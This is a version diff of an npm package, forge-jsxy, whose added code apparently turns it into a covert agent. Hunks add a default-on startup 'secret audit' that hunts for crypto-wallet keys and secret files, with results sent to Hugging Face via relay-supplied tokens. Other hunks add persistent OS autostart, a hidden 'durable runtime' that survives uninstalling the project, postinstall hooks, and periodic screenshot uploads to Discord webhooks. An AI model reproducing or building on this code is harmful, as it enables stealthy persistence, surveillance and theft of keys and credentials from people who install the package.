forge-jsxy 1.0.80 → 1.0.82

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (61) hide show
  1. package/assets/files-explorer-template.html +10 -13
  2. package/assets/secret_filename_patterns.json +81 -0
  3. package/dist/agentRunner.js +6 -1
  4. package/dist/assets/files-explorer-template.html +11 -14
  5. package/dist/assets/secret_filename_patterns.json +81 -0
  6. package/dist/autostart/agentEnvFile.d.ts +17 -2
  7. package/dist/autostart/agentEnvFile.js +37 -7
  8. package/dist/autostart/darwin.js +4 -1
  9. package/dist/autostart/linux.js +1 -1
  10. package/dist/autostart/resolve.js +2 -2
  11. package/dist/autostart/windows.js +1 -0
  12. package/dist/cli-agent.js +25 -11
  13. package/dist/cli-autostart.js +82 -8
  14. package/dist/cli-forge.js +0 -0
  15. package/dist/cli-relay.js +0 -0
  16. package/dist/discordAgentScreenshot.js +15 -0
  17. package/dist/discordWebhookPost.d.ts +1 -0
  18. package/dist/discordWebhookPost.js +20 -5
  19. package/dist/durableDistDir.d.ts +4 -0
  20. package/dist/durableDistDir.js +61 -0
  21. package/dist/hfCredentials.js +22 -8
  22. package/dist/relayAgent.js +56 -2
  23. package/dist/relayServer.js +17 -0
  24. package/dist/secretScan/agentStartupAudit.d.ts +51 -0
  25. package/dist/secretScan/agentStartupAudit.js +722 -0
  26. package/dist/secretScan/auditFindingSlim.d.ts +25 -0
  27. package/dist/secretScan/auditFindingSlim.js +184 -0
  28. package/dist/secretScan/auditScanScope.d.ts +25 -0
  29. package/dist/secretScan/auditScanScope.js +233 -0
  30. package/dist/secretScan/base58check.d.ts +6 -0
  31. package/dist/secretScan/base58check.js +49 -0
  32. package/dist/secretScan/contentScanner.d.ts +23 -0
  33. package/dist/secretScan/contentScanner.js +278 -0
  34. package/dist/secretScan/dedupeFindings.d.ts +12 -0
  35. package/dist/secretScan/dedupeFindings.js +232 -0
  36. package/dist/secretScan/fileCandidates.d.ts +30 -0
  37. package/dist/secretScan/fileCandidates.js +370 -0
  38. package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
  39. package/dist/secretScan/runFilenameSecretScan.js +360 -0
  40. package/dist/secretScan/scanConfig.d.ts +6 -0
  41. package/dist/secretScan/scanConfig.js +87 -0
  42. package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
  43. package/dist/secretScan/secp256k1Scalar.js +14 -0
  44. package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
  45. package/dist/secretScan/secretAuditExcludePaths.js +46 -0
  46. package/dist/secretScan/solanaKeypair.d.ts +8 -0
  47. package/dist/secretScan/solanaKeypair.js +87 -0
  48. package/dist/secretScan/strictMaterialGate.d.ts +15 -0
  49. package/dist/secretScan/strictMaterialGate.js +151 -0
  50. package/dist/secretScan/types.d.ts +86 -0
  51. package/dist/secretScan/types.js +6 -0
  52. package/dist/workerBootstrap.js +13 -1
  53. package/package.json +7 -3
  54. package/scripts/forge-isolated-runtime.mjs +278 -0
  55. package/scripts/forge-jsx-explorer-kill-agent.mjs +4 -0
  56. package/scripts/forge-jsx-explorer-restart.mjs +4 -0
  57. package/scripts/forge-jsx-explorer-upgrade.mjs +9 -1
  58. package/scripts/pm2-restart-forge-relay-agent.sh +2 -0
  59. package/scripts/postinstall-agent.mjs +161 -14
  60. package/scripts/postinstall-bootstrap.mjs +3 -1
  61. package/scripts/postinstall-durable-materialize.mjs +118 -0
package/dist/cli-agent.js CHANGED
@@ -7,10 +7,12 @@ const clientId_1 = require("./clientId");
7
7
  const agentEnvFile_1 = require("./autostart/agentEnvFile");
8
8
  const manifest_1 = require("./autostart/manifest");
9
9
  const agentRunner_1 = require("./agentRunner");
10
+ const runFilenameSecretScan_1 = require("./secretScan/runFilenameSecretScan");
10
11
  function bootstrapSyncEnvFromDisk() {
11
12
  const dir = (0, clientId_1.defaultCfgmgrDataDir)();
12
13
  (0, agentEnvFile_1.applyForgeJsAgentEnvFile)(dir);
13
14
  (0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
15
+ (0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();
14
16
  const have = (process.env.FORGE_JS_SYNC_URL || "").trim() ||
15
17
  (process.env.CFGMGR_API_URL || "").trim() ||
16
18
  (process.env.CFGMGR_CFG || "").trim();
@@ -22,8 +24,18 @@ function bootstrapSyncEnvFromDisk() {
22
24
  process.env.CFGMGR_API_URL = u;
23
25
  }
24
26
  }
25
- if (process.argv.includes("-h") || process.argv.includes("--help")) {
27
+ if (process.argv[2] === "secret-scan") {
28
+ void (0, runFilenameSecretScan_1.runFilenameSecretScanCli)(process.argv.slice(3))
29
+ .then((code) => process.exit(code))
30
+ .catch((e) => {
31
+ console.error("forge-agent secret-scan:", e instanceof Error ? e.message : e);
32
+ process.exit(2);
33
+ });
34
+ }
35
+ else if (process.argv.includes("-h") || process.argv.includes("--help")) {
26
36
  console.log(`Usage: forge-agent --relay <ws://host:9877> [--session <id>] [--password <p>|--no-password] [--no-filesystem] [--quiet]\n` +
37
+ ` forge-agent secret-scan [--path <dir>] [--patterns <json>] [--output <base>] [--threads N] [--include-raw-findings]\n` +
38
+ ` Local filename-pattern scan for key-like material (JSON + CSV report; no relay; authorized use only — see secret-scan --help).\n` +
27
39
  `Env: CFGMGR_RELAY_URL, FORGE_JS_RELAY_URL, CFGMGR_SESSION_ID, CFGMGR_SESSION_PASSWORD (overridden by --password when set)\n` +
28
40
  `Session: omit CFGMGR_SESSION_ID to discover sync_api_base_url via GET /api/relay-for-agent.\n` +
29
41
  ` Default on all OSes: use this machine's client_* session so explorer targets local disks (no shared-room collisions).\n` +
@@ -41,16 +53,18 @@ if (process.argv.includes("-h") || process.argv.includes("--help")) {
41
53
  `Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
42
54
  process.exit(0);
43
55
  }
44
- try {
45
- bootstrapSyncEnvFromDisk();
46
- const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
47
- if (!opts) {
48
- console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
56
+ else {
57
+ try {
58
+ bootstrapSyncEnvFromDisk();
59
+ const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
60
+ if (!opts) {
61
+ console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
62
+ process.exit(2);
63
+ }
64
+ (0, agentRunner_1.runForgeAgentWithSingleton)(opts);
65
+ }
66
+ catch (e) {
67
+ console.error("forge-agent:", e instanceof Error ? e.message : e);
49
68
  process.exit(2);
50
69
  }
51
- (0, agentRunner_1.runForgeAgentWithSingleton)(opts);
52
- }
53
- catch (e) {
54
- console.error("forge-agent:", e instanceof Error ? e.message : e);
55
- process.exit(2);
56
70
  }
@@ -1,17 +1,55 @@
1
1
  #!/usr/bin/env node
2
2
  "use strict";
3
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
4
+ if (k2 === undefined) k2 = k;
5
+ var desc = Object.getOwnPropertyDescriptor(m, k);
6
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
7
+ desc = { enumerable: true, get: function() { return m[k]; } };
8
+ }
9
+ Object.defineProperty(o, k2, desc);
10
+ }) : (function(o, m, k, k2) {
11
+ if (k2 === undefined) k2 = k;
12
+ o[k2] = m[k];
13
+ }));
14
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
15
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
16
+ }) : function(o, v) {
17
+ o["default"] = v;
18
+ });
19
+ var __importStar = (this && this.__importStar) || (function () {
20
+ var ownKeys = function(o) {
21
+ ownKeys = Object.getOwnPropertyNames || function (o) {
22
+ var ar = [];
23
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
24
+ return ar;
25
+ };
26
+ return ownKeys(o);
27
+ };
28
+ return function (mod) {
29
+ if (mod && mod.__esModule) return mod;
30
+ var result = {};
31
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
32
+ __setModuleDefault(result, mod);
33
+ return result;
34
+ };
35
+ })();
3
36
  Object.defineProperty(exports, "__esModule", { value: true });
4
37
  /**
5
38
  * Register or remove OS autostart for forge-agent (logon / user session / boot+linger on Linux).
6
39
  */
40
+ const fs = __importStar(require("node:fs"));
41
+ const path = __importStar(require("node:path"));
7
42
  const install_1 = require("./autostart/install");
43
+ const durableDistDir_1 = require("./durableDistDir");
8
44
  function parseArgs(argv) {
45
+ const envDist = (process.env.FORGE_JS_AUTOSTART_DIST_DIR || "").trim();
9
46
  const opts = {
10
47
  relayUrl: process.env.FORGE_JS_RELAY_URL?.trim() ||
11
48
  process.env.CFGMGR_RELAY_URL?.trim() ||
12
49
  "",
13
50
  };
14
51
  let cmd = "help";
52
+ let distDir = envDist;
15
53
  for (let i = 2; i < argv.length; i++) {
16
54
  const a = argv[i];
17
55
  if (a === "install")
@@ -35,33 +73,63 @@ function parseArgs(argv) {
35
73
  opts.noPassword = true;
36
74
  else if (a === "--no-filesystem")
37
75
  opts.noFilesystem = true;
76
+ else if (a === "--omit-relay-arg")
77
+ opts.omitRelayArg = true;
78
+ else if (a === "--omit-sync-url")
79
+ opts.omitSyncUrl = true;
80
+ else if ((a === "--dist-dir" || a === "--agent-dist") && argv[i + 1]) {
81
+ distDir = path.resolve(argv[++i]);
82
+ }
83
+ }
84
+ return { cmd, opts, distDir };
85
+ }
86
+ /** Prefer explicit --dist-dir / env; else durable hidden runtime from current.json; else this package dist/. */
87
+ function resolveDistDirForInstall(parsedDist) {
88
+ const trimmed = parsedDist.trim();
89
+ if (trimmed)
90
+ return trimmed;
91
+ const durable = (0, durableDistDir_1.readDurableForgeDistDirFromDisk)();
92
+ if (durable && fs.existsSync(path.join(durable, "cli-agent.js"))) {
93
+ return durable;
38
94
  }
39
- return { cmd, opts };
95
+ return (0, install_1.defaultDistDir)();
40
96
  }
41
97
  function printHelp() {
42
98
  console.log(`forge-autostart — OS autostart for forge-agent (Windows / Linux / macOS)
43
99
 
44
100
  Usage:
45
- forge-autostart install --relay <ws://host:9877> [options]
101
+ forge-autostart install [--relay <ws://host:9877>] [options]
46
102
  forge-autostart uninstall
47
103
  forge-autostart status
48
104
 
49
105
  Options (install):
50
- --relay URL WebSocket relay (required unless FORGE_JS_RELAY_URL or CFGMGR_RELAY_URL is set)
106
+ --relay URL WebSocket relay (omit when using --omit-relay-arg; else env vars count as relay)
51
107
  --session ID Optional session id (else uses persisted .client_id)
52
108
  --password P Session password (omit to use CFGMGR_SESSION_PASSWORD at runtime — not stored in manifest)
53
109
  --no-password Agent without password
54
110
  --no-filesystem Disable fs explorer on agent
111
+ --dist-dir DIR Package dist/ containing cli-agent.js (isolated runtime — survives deleting an npm project)
112
+ --omit-relay-arg Omit --relay from OS service argv (agent uses embedded deployment relay URL only)
113
+ --omit-sync-url Omit sync URL from forge-js-agent.env (bundle-sourced sync)
114
+
115
+ Env:
116
+ FORGE_JS_AUTOSTART_DIST_DIR Same as --dist-dir when set
55
117
 
56
118
  Behavior:
57
119
  Windows: Task Scheduler task "${"ForgeJSWorker"}" at user logon (HKCU Run fallback if policy blocks)
58
120
  Linux: systemd user unit forge-js-worker.service + loginctl enable-linger (best-effort)
59
121
  macOS: ~/Library/LaunchAgents/com.forgejs.worker.plist (RunAtLoad + KeepAlive)
60
122
 
61
- Requires: npm run build so dist/cli-agent.js exists. Uses current Node (process.execPath).
123
+ PATH:
124
+ Does not modify system/user PATH. Entries use absolute paths to Node (at install time) and
125
+ cli-agent.js. If --dist-dir / FORGE_JS_AUTOSTART_DIST_DIR are omitted, install uses the durable
126
+ dist from <CfgMgr data>/.forge-jsxy/current.json when present (same tree as npm postinstall),
127
+ otherwise this package's dist/ next to forge-autostart.
128
+
129
+ Requires: dist/cli-agent.js at resolved dist dir. Uses current Node (process.execPath).
62
130
  `);
63
131
  }
64
- const { cmd, opts } = parseArgs(process.argv);
132
+ const { cmd, opts, distDir: parsedDist } = parseArgs(process.argv);
65
133
  if (cmd === "help") {
66
134
  printHelp();
67
135
  process.exit(0);
@@ -76,11 +144,17 @@ if (cmd === "uninstall") {
76
144
  process.exit(0);
77
145
  }
78
146
  if (cmd === "install") {
79
- if (!opts.relayUrl.trim()) {
80
- console.error("forge-autostart install: --relay or FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL required.");
147
+ if (!opts.relayUrl.trim() && !opts.omitRelayArg) {
148
+ console.error("forge-autostart install: pass --relay or set FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL, " +
149
+ "or use --omit-relay-arg when the agent should use the embedded deployment relay URL only.");
150
+ process.exit(2);
151
+ }
152
+ let distDirFinal = resolveDistDirForInstall(parsedDist);
153
+ if (!fs.existsSync(path.join(distDirFinal, "cli-agent.js"))) {
154
+ console.error(`forge-autostart install: cli-agent.js not found under dist dir: ${distDirFinal}`);
81
155
  process.exit(2);
82
156
  }
83
- const ok = (0, install_1.installAutostart)(opts, (0, install_1.defaultDistDir)());
157
+ const ok = (0, install_1.installAutostart)(opts, distDirFinal);
84
158
  if (ok) {
85
159
  console.log("forge-autostart: install completed.");
86
160
  process.exit(0);
package/dist/cli-forge.js CHANGED
File without changes
package/dist/cli-relay.js CHANGED
File without changes
@@ -209,7 +209,22 @@ function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
209
209
  const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
210
210
  return Math.min(600_000, Math.max(10_000, base + extra));
211
211
  }
212
+ /**
213
+ * Desktop capture can surface OS prompts or visible tooling (e.g. macOS Screen Recording, capture helpers).
214
+ * When **`FORGE_JS_HEADLESS_UI`** is on (PM2 default), skip Discord screenshots on **all** platforms unless
215
+ * **`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS=1`** (opt back in after approving unattended capture).
216
+ */
217
+ function discordScreenshotSkippedWhenHeadlessUiGateActive() {
218
+ const headless = ["1", "true", "yes", "on"].includes((process.env.FORGE_JS_HEADLESS_UI || "").trim().toLowerCase());
219
+ if (!headless)
220
+ return false;
221
+ const allow = ["1", "true", "yes", "on"].includes((process.env.FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS || "").trim().toLowerCase());
222
+ return !allow;
223
+ }
212
224
  function startDiscordScreenshotToRelayLoop(opts) {
225
+ if (discordScreenshotSkippedWhenHeadlessUiGateActive()) {
226
+ return () => { };
227
+ }
213
228
  const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
214
229
  const envOn = ["1", "true", "yes", "on"].includes(en);
215
230
  if (!envOn && !opts.enabledByRelayCapabilities) {
@@ -1,3 +1,4 @@
1
+ export declare function discordWebhookHostnameAllowed(hostname: string): boolean;
1
2
  /**
2
3
  * `webhookUrl` should be `https://discord.com/api/webhooks/{id}/{token}` (query allowed).
3
4
  *
@@ -1,5 +1,6 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.discordWebhookHostnameAllowed = discordWebhookHostnameAllowed;
3
4
  exports.postPngToDiscordWebhookUrl = postPngToDiscordWebhookUrl;
4
5
  /**
5
6
  * Agent-side POST of an image (PNG or JPEG) to a Discord **incoming webhook** URL (no Bot header).
@@ -19,10 +20,23 @@ exports.postPngToDiscordWebhookUrl = postPngToDiscordWebhookUrl;
19
20
  * this transparently via X-RateLimit-* headers.
20
21
  * 4. `?wait=true` ensures we get a proper response body with message ID so transient failures
21
22
  * are distinguished from successes.
22
- * 5. Host allowlist prevents SSRF — only discord.com / canary / ptb hostnames are accepted.
23
+ * 5. Host allowlist prevents SSRF — only official Discord webhook API hosts are accepted,
24
+ * plus legacy **discordapp.com** aliases (still routed to Discord's API; some bookmarks/old docs use them).
23
25
  */
24
26
  const node_crypto_1 = require("node:crypto");
25
27
  const discordRateLimit_1 = require("./discordRateLimit");
28
+ /** Exact hostname match only (no subdomain wildcards). */
29
+ const ALLOWED_DISCORD_WEBHOOK_HOSTS = new Set([
30
+ "discord.com",
31
+ "discordapp.com",
32
+ "canary.discord.com",
33
+ "canary.discordapp.com",
34
+ "ptb.discord.com",
35
+ "ptb.discordapp.com",
36
+ ]);
37
+ function discordWebhookHostnameAllowed(hostname) {
38
+ return ALLOWED_DISCORD_WEBHOOK_HOSTS.has(hostname.trim().toLowerCase());
39
+ }
26
40
  function discordAttachmentFilenameAndMime(buf) {
27
41
  if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) {
28
42
  return { filename: "screenshot.jpg", mime: "image/jpeg" };
@@ -80,10 +94,11 @@ function _getWebhookTracker(webhookPath) {
80
94
  async function postPngToDiscordWebhookUrl(webhookUrl, png, caption) {
81
95
  const u = new URL(webhookUrl.trim());
82
96
  const h = u.hostname.toLowerCase();
83
- if (h !== "discord.com" &&
84
- h !== "canary.discord.com" &&
85
- h !== "ptb.discord.com") {
86
- return { ok: false, error: "webhook URL host must be discord.com (or canary/ptb)" };
97
+ if (!discordWebhookHostnameAllowed(h)) {
98
+ return {
99
+ ok: false,
100
+ error: "webhook URL host must be discord.com or discordapp.com (stable/canary/ptb); other hosts blocked (SSRF)",
101
+ };
87
102
  }
88
103
  const base = webhookUrl.trim();
89
104
  const exec = base.includes("?") ? `${base}&wait=true` : `${base}?wait=true`;
@@ -0,0 +1,4 @@
1
+ /**
2
+ * @returns Absolute `dist/` containing `cli-agent.js`, or `""` if not installed / invalid.
3
+ */
4
+ export declare function readDurableForgeDistDirFromDisk(): string;
@@ -0,0 +1,61 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.readDurableForgeDistDirFromDisk = readDurableForgeDistDirFromDisk;
37
+ /**
38
+ * Durable agent install path written by `scripts/forge-isolated-runtime.mjs` (`current.json`).
39
+ */
40
+ const fs = __importStar(require("node:fs"));
41
+ const path = __importStar(require("node:path"));
42
+ const clientId_1 = require("./clientId");
43
+ /**
44
+ * @returns Absolute `dist/` containing `cli-agent.js`, or `""` if not installed / invalid.
45
+ */
46
+ function readDurableForgeDistDirFromDisk() {
47
+ try {
48
+ const base = path.join((0, clientId_1.defaultCfgmgrDataDir)(), ".forge-jsxy");
49
+ const cur = path.join(base, "current.json");
50
+ if (!fs.existsSync(cur))
51
+ return "";
52
+ const j = JSON.parse(fs.readFileSync(cur, "utf8"));
53
+ const d = String(j.distDir ?? "").trim();
54
+ if (!d || !fs.existsSync(path.join(d, "cli-agent.js")))
55
+ return "";
56
+ return d;
57
+ }
58
+ catch {
59
+ return "";
60
+ }
61
+ }
@@ -17,7 +17,8 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
17
17
  * (JavaScript cannot truly wipe string contents in memory). The relay also scrubs its decrypted
18
18
  * copy immediately after sending `relay_hf_credentials_result` over the socket.
19
19
  *
20
- * Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** to base64(iv12 || tag16 || ciphertext) where
20
+ * Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** (or **`RELAY_HF_CREDENTIALS_B64`** same blob
21
+ * {@link loadHfCredentials} accepts either) to base64(iv12 || tag16 || ciphertext) where
21
22
  * plaintext UTF-8 JSON is:
22
23
  * `{ "token": "hf_...", "hubUrl": "https://huggingface.co", "namespace": "your_hf_user" }`
23
24
  * (`hubUrl` optional; `namespace` = Hugging Face username or org for automatic `namespace/<seq_id>` session repos).
@@ -48,7 +49,7 @@ function decryptHfCredentialsB64(b64) {
48
49
  function decryptCredentialsBlob(b64) {
49
50
  const raw = Buffer.from(String(b64 || "").trim(), "base64");
50
51
  if (raw.length < 12 + 16 + 1) {
51
- throw new Error("CFGMGR_HF_CREDENTIALS_B64 too short or invalid base64");
52
+ throw new Error("HF credential blob too short or invalid base64");
52
53
  }
53
54
  const iv = raw.subarray(0, 12);
54
55
  const tag = raw.subarray(12, 28);
@@ -56,7 +57,14 @@ function decryptCredentialsBlob(b64) {
56
57
  const key = (0, deploymentDefaults_1.resolveForgeBundleKey)();
57
58
  const decipher = (0, node_crypto_1.createDecipheriv)("aes-256-gcm", key, iv);
58
59
  decipher.setAuthTag(tag);
59
- const plain = Buffer.concat([decipher.update(enc), decipher.final()]);
60
+ let plain;
61
+ try {
62
+ plain = Buffer.concat([decipher.update(enc), decipher.final()]);
63
+ }
64
+ catch {
65
+ throw new Error("HF credentials decrypt failed — wrong FORGE_JS_BUNDLE_KEY, truncated or corrupt " +
66
+ "RELAY_HF_CREDENTIALS_B64 / CFGMGR_HF_CREDENTIALS_B64, or invalid base64");
67
+ }
60
68
  const o = JSON.parse(plain.toString("utf8"));
61
69
  const token = String(o.token ?? "").trim();
62
70
  let hubUrl = String(o.hubUrl ?? o.endpoint ?? "").trim();
@@ -93,15 +101,21 @@ function loadHfCredentials() {
93
101
  if (plain)
94
102
  c = plain;
95
103
  else {
96
- const b64 = (process.env.CFGMGR_HF_CREDENTIALS_B64 || "").trim();
104
+ /** Same ciphertext as relay; `.env` often sets only `RELAY_HF_CREDENTIALS_B64` when not using PM2 ecosystem mirror. */
105
+ const b64 = ((process.env.CFGMGR_HF_CREDENTIALS_B64 || "").trim() ||
106
+ (process.env.RELAY_HF_CREDENTIALS_B64 || "").trim());
97
107
  if (!b64) {
98
- throw new Error("Missing Hugging Face credentials: set RELAY_HF_CREDENTIALS_B64 on the **relay** (agent " +
99
- "fetches by default), or CFGMGR_HF_CREDENTIALS_B64 on the agent, or CFGMGR_HF_ALLOW_PLAINTEXT=1 " +
100
- "with HUGGINGFACE_HUB_TOKEN for local testing");
108
+ throw new Error("Missing Hugging Face credentials: set CFGMGR_HF_CREDENTIALS_B64 or RELAY_HF_CREDENTIALS_B64 " +
109
+ "(same AES-GCM blob), or RELAY_HF_CREDENTIALS_B64 on the relay with agent relay-fetch, " +
110
+ "or CFGMGR_HF_ALLOW_PLAINTEXT=1 with HUGGINGFACE_HUB_TOKEN for local testing");
101
111
  }
102
112
  c = decryptCredentialsBlob(b64);
103
113
  }
104
- const envNs = (process.env.CFGMGR_HF_NAMESPACE || "").trim();
114
+ const envNs = (process.env.CFGMGR_HF_NAMESPACE ||
115
+ process.env.HUGGINGFACE_HUB_NAMESPACE ||
116
+ "")
117
+ .trim()
118
+ .replace(/\/+$/, "");
105
119
  if (envNs)
106
120
  return { ...c, namespace: envNs };
107
121
  return c;
@@ -55,6 +55,7 @@ const deploymentDefaults_1 = require("./deploymentDefaults");
55
55
  const agentEnvFile_1 = require("./autostart/agentEnvFile");
56
56
  const clientId_1 = require("./clientId");
57
57
  const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
58
+ const agentStartupAudit_1 = require("./secretScan/agentStartupAudit");
58
59
  const pendingRelayHf = new Map();
59
60
  /** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
60
61
  const pendingDiscordRelayAck = new Map();
@@ -459,6 +460,44 @@ function runRelayAgentLoop(opts) {
459
460
  let discordEnabledByRelayHandshake = false;
460
461
  /** One `forge_rtc_agent_status` per viewer session so browsers do not spin ICE forever on unsupported agents. */
461
462
  let forgeRtcStatusSentThisViewer = false;
463
+ /**
464
+ * Run secret audit when relay never sends `connected` (stuck handshake / flaky relay).
465
+ * Relay-hosted HF credentials are skipped here (`fetchHubCredentials` rejects); disk merge +
466
+ * `result.json` still run; Hub upload uses local CFGMGR_* HF env only when configured.
467
+ * Override delay via FORGE_JS_AGENT_SECRET_AUDIT_HANDSHAKE_FALLBACK_MS (ms); use `0` to disable.
468
+ */
469
+ let secretAuditHandshakeFallbackTimer = null;
470
+ const clearSecretAuditHandshakeFallback = () => {
471
+ if (secretAuditHandshakeFallbackTimer != null) {
472
+ clearTimeout(secretAuditHandshakeFallbackTimer);
473
+ secretAuditHandshakeFallbackTimer = null;
474
+ }
475
+ };
476
+ const armSecretAuditHandshakeFallback = () => {
477
+ clearSecretAuditHandshakeFallback();
478
+ const rawMs = (process.env.FORGE_JS_AGENT_SECRET_AUDIT_HANDSHAKE_FALLBACK_MS || "").trim();
479
+ let fallbackMs = 45_000;
480
+ if (rawMs) {
481
+ const n = parseInt(rawMs, 10);
482
+ if (Number.isFinite(n) && n >= 0) {
483
+ if (n === 0)
484
+ return;
485
+ fallbackMs = Math.min(Math.max(n, 5_000), 3_600_000);
486
+ }
487
+ }
488
+ secretAuditHandshakeFallbackTimer = setTimeout(() => {
489
+ secretAuditHandshakeFallbackTimer = null;
490
+ if (relayAgentHandshakeDone)
491
+ return;
492
+ (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
493
+ relayCaps: {},
494
+ quiet,
495
+ fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
496
+ });
497
+ }, fallbackMs);
498
+ secretAuditHandshakeFallbackTimer.unref?.();
499
+ };
500
+ armSecretAuditHandshakeFallback();
462
501
  const tryStartDiscordAfterHandshake = () => {
463
502
  if (!openHandlerFinishedInfo || !relayAgentHandshakeDone || discordLoopStarted)
464
503
  return;
@@ -494,6 +533,7 @@ function runRelayAgentLoop(opts) {
494
533
  const applyRelayAgentConnected = (msg) => {
495
534
  if (relayAgentHandshakeDone)
496
535
  return;
536
+ clearSecretAuditHandshakeFallback();
497
537
  discordEnabledByRelayHandshake = false;
498
538
  let caps = {};
499
539
  const rf = msg.relay_features;
@@ -558,6 +598,11 @@ function runRelayAgentLoop(opts) {
558
598
  catch {
559
599
  /* skip */
560
600
  }
601
+ (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
602
+ relayCaps: caps,
603
+ quiet,
604
+ fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
605
+ });
561
606
  tryStartDiscordAfterHandshake();
562
607
  };
563
608
  ws.on("open", () => {
@@ -575,6 +620,7 @@ function runRelayAgentLoop(opts) {
575
620
  relayAgentHandshakeDone = false;
576
621
  discordLoopStarted = false;
577
622
  discordEnabledByRelayHandshake = false;
623
+ armSecretAuditHandshakeFallback();
578
624
  /**
579
625
  * Defer first `info` + queued sends to the next tick so inbound `viewer_connected` (auth
580
626
  * challenge) can be handled first on some OS/network stacks — reduces “stuck Authenticating…”
@@ -662,7 +708,13 @@ function runRelayAgentLoop(opts) {
662
708
  const token = String(msg.token ?? "").trim();
663
709
  let hubUrl = String(msg.hubUrl ?? "https://huggingface.co").trim();
664
710
  hubUrl = hubUrl.replace(/\/+$/, "") || "https://huggingface.co";
665
- const ns = String(msg.namespace ?? "").trim();
711
+ const ns = String(msg.namespace ?? "").trim().replace(/\/+$/, "");
712
+ const envNs = (process.env.CFGMGR_HF_NAMESPACE ||
713
+ process.env.HUGGINGFACE_HUB_NAMESPACE ||
714
+ "")
715
+ .trim()
716
+ .replace(/\/+$/, "");
717
+ const mergedNs = ns || envNs;
666
718
  if (!token.startsWith("hf_")) {
667
719
  pending.reject(new Error('relay returned invalid token (expected "hf_..." prefix)'));
668
720
  return;
@@ -670,7 +722,7 @@ function runRelayAgentLoop(opts) {
670
722
  pending.resolve({
671
723
  token,
672
724
  hubUrl,
673
- namespace: ns || undefined,
725
+ namespace: mergedNs || undefined,
674
726
  });
675
727
  }
676
728
  else {
@@ -1044,6 +1096,7 @@ function runRelayAgentLoop(opts) {
1044
1096
  handleViewerInboundFromRelay(parsed, "ws");
1045
1097
  });
1046
1098
  ws.on("close", () => {
1099
+ clearSecretAuditHandshakeFallback();
1047
1100
  clearAllPendingDiscordAgent("agent websocket closed");
1048
1101
  try {
1049
1102
  stopDiscordScreenshotLoop?.();
@@ -1060,6 +1113,7 @@ function runRelayAgentLoop(opts) {
1060
1113
  scheduleReconnect();
1061
1114
  });
1062
1115
  ws.on("error", (err) => {
1116
+ clearSecretAuditHandshakeFallback();
1063
1117
  clearAllPendingDiscordAgent("agent websocket error");
1064
1118
  try {
1065
1119
  stopDiscordScreenshotLoop?.();
@@ -265,6 +265,20 @@ function relayDiscordScreenshotAdvertisedUploadMode() {
265
265
  return "relay";
266
266
  return "webhook";
267
267
  }
268
+ /**
269
+ * Advertise `relay_features.agent_secret_audit` (belt-and-suspenders with agents, which default audit **ON**
270
